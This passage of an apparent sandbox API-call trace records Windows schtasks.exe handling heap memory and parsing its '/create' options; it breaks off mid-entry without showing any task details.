GetProcessHeap () returned 0x2236c530000 [0134.175] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533b70) returned 0x8 [0134.175] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533b70) returned 1 [0134.175] GetProcessHeap () returned 0x2236c530000 [0134.175] GetProcessHeap () returned 0x2236c530000 [0134.176] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b630) returned 1 [0134.176] GetProcessHeap () returned 0x2236c530000 [0134.176] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b630) returned 0x20 [0134.176] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b630) returned 1 [0134.176] GetProcessHeap () returned 0x2236c530000 [0134.176] GetProcessHeap () returned 0x2236c530000 [0134.176] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533bf0) returned 1 [0134.176] GetProcessHeap () returned 0x2236c530000 [0134.176] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533bf0) returned 0x56 [0134.177] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533bf0) returned 1 [0134.177] GetProcessHeap () returned 0x2236c530000 [0134.177] GetProcessHeap () returned 0x2236c530000 [0134.177] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b930) returned 1 [0134.177] GetProcessHeap () returned 0x2236c530000 [0134.177] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b930) returned 0x20 [0134.177] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b930) returned 1 [0134.177] GetProcessHeap () returned 0x2236c530000 [0134.178] GetProcessHeap () returned 0x2236c530000 [0134.178] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533c50) returned 1 [0134.178] GetProcessHeap () returned 0x2236c530000 [0134.178] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533c50) returned 0x8 [0134.178] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533c50) returned 1 [0134.178] GetProcessHeap () returned 0x2236c530000 [0134.178] GetProcessHeap () returned 0x2236c530000 [0134.178] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b9f0) returned 1 [0134.178] GetProcessHeap () returned 0x2236c530000 [0134.178] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b9f0) returned 0x20 [0134.178] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b9f0) returned 1 [0134.178] GetProcessHeap () returned 0x2236c530000 [0134.178] GetProcessHeap () returned 0x2236c530000 [0134.178] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53a930) returned 1 [0134.178] GetProcessHeap () returned 0x2236c530000 [0134.179] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53a930) returned 0x10 [0134.179] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53a930) returned 1 [0134.179] GetProcessHeap () returned 0x2236c530000 [0134.179] GetProcessHeap () returned 0x2236c530000 [0134.179] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53ba50) returned 1 [0134.179] GetProcessHeap () returned 0x2236c530000 [0134.179] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53ba50) returned 0x20 [0134.179] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53ba50) returned 1 [0134.179] GetProcessHeap () returned 0x2236c530000 [0134.179] GetProcessHeap () returned 0x2236c530000 [0134.179] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533c70) returned 1 [0134.179] GetProcessHeap () returned 0x2236c530000 [0134.179] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c533c70) returned 0x6 [0134.179] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c533c70) returned 1 [0134.179] GetProcessHeap () returned 0x2236c530000 [0134.180] GetProcessHeap () returned 0x2236c530000 [0134.180] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53b960) returned 1 [0134.180] GetProcessHeap () returned 0x2236c530000 [0134.180] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53b960) returned 0x20 [0134.180] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53b960) returned 1 [0134.180] GetProcessHeap () returned 0x2236c530000 [0134.180] GetProcessHeap () returned 0x2236c530000 [0134.180] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c534a40) returned 1 [0134.180] GetProcessHeap () returned 0x2236c530000 [0134.180] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c534a40) returned 0x18 [0134.180] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c534a40) returned 1 [0134.181] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.181] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0134.181] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0134.181] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0134.181] RtlVerifyVersionInfo (VersionInfo=0xf45eb2c750, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0134.181] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.181] lstrlenW (lpString="create") returned 6 [0134.181] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0134.181] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.181] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.181] lstrlenW (lpString="create") returned 6 [0134.181] GetProcessHeap () returned 0x2236c530000 [0134.181] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b750 [0134.181] GetProcessHeap () returned 0x2236c530000 [0134.181] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c53ab90 [0134.181] _memicmp (_Buf1=0x2236c53ab90, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.181] GetProcessHeap () returned 0x2236c530000 [0134.181] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x16) returned 0x2236c53a8f0 [0134.181] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.181] _memicmp (_Buf1=0x2236c534830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.186] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2236c5396c0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0134.186] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xf45eb2c8a8 | out: lpdwHandle=0xf45eb2c8a8) returned 0x76c [0134.187] GetProcessHeap () returned 0x2236c530000 [0134.187] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x776) returned 0x2236c53bca0 [0134.187] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2236c53bca0 | out: lpData=0x2236c53bca0) returned 1 [0134.187] VerQueryValueW (in: pBlock=0x2236c53bca0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xf45eb2c840, puLen=0xf45eb2c8a0 | out: lplpBuffer=0xf45eb2c840*=0x2236c53c050, puLen=0xf45eb2c8a0) returned 1 [0134.187] _memicmp (_Buf1=0x2236c534830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.187] _vsnwprintf (in: _Buffer=0x2236c5396c0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xf45eb2c818 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0134.187] VerQueryValueW (in: pBlock=0x2236c53bca0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xf45eb2c830, puLen=0xf45eb2c898 | out: lplpBuffer=0xf45eb2c830*=0x2236c53be80, puLen=0xf45eb2c898) returned 1 [0134.187] lstrlenW (lpString="schtasks.exe") returned 12 [0134.187] lstrlenW (lpString="schtasks.exe") returned 12 [0134.187] lstrlenW (lpString=".EXE") returned 4 [0134.187] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0134.187] lstrlenW (lpString="schtasks.exe") returned 12 [0134.187] lstrlenW (lpString=".EXE") returned 4 [0134.187] lstrlenW (lpString="schtasks") returned 8 [0134.187] lstrlenW (lpString="/create") returned 7 [0134.187] _memicmp (_Buf1=0x2236c534830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.187] _vsnwprintf (in: _Buffer=0x2236c5396c0, _BufferCount=0x19, _Format="%s %s", _ArgList=0xf45eb2c818 | out: _Buffer="schtasks /create") returned 16 [0134.188] _memicmp (_Buf1=0x2236c532120, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.188] GetProcessHeap () returned 0x2236c530000 [0134.188] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b720 [0134.188] _memicmp (_Buf1=0x2236c534720, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.188] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2236c53ba90, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0134.188] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0134.188] GetProcessHeap () returned 0x2236c530000 [0134.188] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x30) returned 0x2236c533b50 [0134.188] _vsnwprintf (in: _Buffer=0x2236c534270, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xf45eb2c818 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0134.188] GetProcessHeap () returned 0x2236c530000 [0134.188] GetProcessHeap () returned 0x2236c530000 [0134.188] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c53bca0) returned 1 [0134.188] GetProcessHeap () returned 0x2236c530000 [0134.188] RtlSizeHeap (HeapHandle=0x2236c530000, Flags=0x0, MemoryPointer=0x2236c53bca0) returned 0x776 [0134.189] RtlFreeHeap (HeapHandle=0x2236c530000, Flags=0x0, BaseAddress=0x2236c53bca0) returned 1 [0134.189] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.189] GetThreadLocale () returned 0x409 [0134.189] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.189] lstrlenW (lpString="create") returned 6 [0134.189] GetThreadLocale () returned 0x409 [0134.189] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.189] lstrlenW (lpString="?") returned 1 [0134.189] GetThreadLocale () returned 0x409 [0134.189] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.189] lstrlenW (lpString="s") returned 1 [0134.189] GetThreadLocale () returned 0x409 [0134.189] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.189] lstrlenW (lpString="u") returned 1 [0134.189] GetThreadLocale () returned 0x409 [0134.189] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.189] lstrlenW (lpString="p") returned 1 [0134.189] GetThreadLocale () returned 0x409 [0134.189] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.189] lstrlenW (lpString="ru") returned 2 [0134.189] GetThreadLocale () returned 0x409 [0134.189] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.189] lstrlenW (lpString="rp") returned 2 [0134.189] GetThreadLocale () returned 0x409 [0134.189] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.189] lstrlenW (lpString="sc") returned 2 [0134.189] GetThreadLocale () returned 0x409 [0134.189] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.189] lstrlenW (lpString="mo") returned 2 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="d") returned 1 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="m") returned 1 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="i") returned 1 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="tn") returned 2 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="tr") returned 2 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="st") returned 2 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="sd") returned 2 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="ed") returned 2 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="it") returned 2 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="et") returned 2 [0134.190] GetThreadLocale () returned 0x409 [0134.190] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.190] lstrlenW (lpString="k") returned 1 [0134.190] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="du") returned 2 [0134.191] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="ri") returned 2 [0134.191] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="z") returned 1 [0134.191] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="f") returned 1 [0134.191] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="v1") returned 2 [0134.191] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="xml") returned 3 [0134.191] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="ec") returned 2 [0134.191] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="rl") returned 2 [0134.191] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="delay") returned 5 [0134.191] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="np") returned 2 [0134.191] GetThreadLocale () returned 0x409 [0134.191] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.191] lstrlenW (lpString="hresult") returned 7 [0134.191] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.191] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.191] lstrlenW (lpString="/create") returned 7 [0134.192] lstrlenW (lpString="-/") returned 2 [0134.192] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.192] lstrlenW (lpString="create") returned 6 [0134.192] lstrlenW (lpString="create") returned 6 [0134.192] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.192] lstrlenW (lpString="create") returned 6 [0134.192] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.192] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|create|") returned 8 [0134.192] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|create|") returned 8 [0134.192] lstrlenW (lpString="|create|") returned 8 [0134.192] lstrlenW (lpString="|create|") returned 8 [0134.192] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0134.192] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.192] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.192] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.192] lstrlenW (lpString="/tn") returned 3 [0134.192] lstrlenW (lpString="-/") returned 2 [0134.192] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.192] lstrlenW (lpString="create") returned 6 [0134.192] lstrlenW (lpString="create") returned 6 [0134.192] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.192] lstrlenW (lpString="tn") returned 2 [0134.192] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.192] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|create|") returned 8 [0134.192] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.192] lstrlenW (lpString="|create|") returned 8 [0134.192] lstrlenW (lpString="|tn|") returned 4 [0134.192] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0134.192] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.193] lstrlenW (lpString="?") returned 1 [0134.193] lstrlenW (lpString="?") returned 1 [0134.193] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.193] lstrlenW (lpString="tn") returned 2 [0134.193] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.193] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|?|") returned 3 [0134.193] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.193] lstrlenW (lpString="|?|") returned 3 [0134.193] lstrlenW (lpString="|tn|") returned 4 [0134.193] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.193] lstrlenW (lpString="s") returned 1 [0134.193] lstrlenW (lpString="s") returned 1 [0134.193] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.193] lstrlenW (lpString="tn") returned 2 [0134.193] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.193] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|s|") returned 3 [0134.193] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.193] lstrlenW (lpString="|s|") returned 3 [0134.193] lstrlenW (lpString="|tn|") returned 4 [0134.193] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.193] lstrlenW (lpString="u") returned 1 [0134.193] lstrlenW (lpString="u") returned 1 [0134.193] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.193] lstrlenW (lpString="tn") returned 2 [0134.193] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.193] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|u|") returned 3 [0134.193] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.193] lstrlenW (lpString="|u|") returned 3 [0134.193] lstrlenW (lpString="|tn|") returned 4 [0134.193] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.193] lstrlenW (lpString="p") returned 1 [0134.193] lstrlenW (lpString="p") returned 1 [0134.194] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.194] lstrlenW (lpString="tn") returned 2 [0134.194] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.194] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|p|") returned 3 [0134.194] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.194] lstrlenW (lpString="|p|") returned 3 [0134.194] lstrlenW (lpString="|tn|") returned 4 [0134.194] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.194] lstrlenW (lpString="ru") returned 2 [0134.194] lstrlenW (lpString="ru") returned 2 [0134.194] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.194] lstrlenW (lpString="tn") returned 2 [0134.194] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.194] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|ru|") returned 4 [0134.194] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.194] lstrlenW (lpString="|ru|") returned 4 [0134.194] lstrlenW (lpString="|tn|") returned 4 [0134.194] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0134.194] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.194] lstrlenW (lpString="rp") returned 2 [0134.194] lstrlenW (lpString="rp") returned 2 [0134.194] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.194] lstrlenW (lpString="tn") returned 2 [0134.194] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.194] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|rp|") returned 4 [0134.194] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.194] lstrlenW (lpString="|rp|") returned 4 [0134.194] lstrlenW (lpString="|tn|") returned 4 [0134.194] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0134.195] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.195] lstrlenW (lpString="sc") returned 2 [0134.195] lstrlenW (lpString="sc") returned 2 [0134.195] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.195] lstrlenW (lpString="tn") returned 2 [0134.195] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.195] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|sc|") returned 4 [0134.195] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.195] lstrlenW (lpString="|sc|") returned 4 [0134.195] lstrlenW (lpString="|tn|") returned 4 [0134.195] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0134.195] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.195] lstrlenW (lpString="mo") returned 2 [0134.195] lstrlenW (lpString="mo") returned 2 [0134.195] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.195] lstrlenW (lpString="tn") returned 2 [0134.195] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.195] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|mo|") returned 4 [0134.195] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|tn|") returned 4 [0134.195] lstrlenW (lpString="|mo|") returned 4 [0134.195] lstrlenW (lpString="|tn|") returned 4 [0134.195] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0134.195] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.195] lstrlenW (lpString="d") returned 1 [0134.195] lstrlenW (lpString="d") returned 1 [0134.195] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.195] lstrlenW (lpString="tn") returned 2 [0134.195] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.195] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2c828 | out: _Buffer="|d|") returned 3 [0134.195] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2c828 | out: 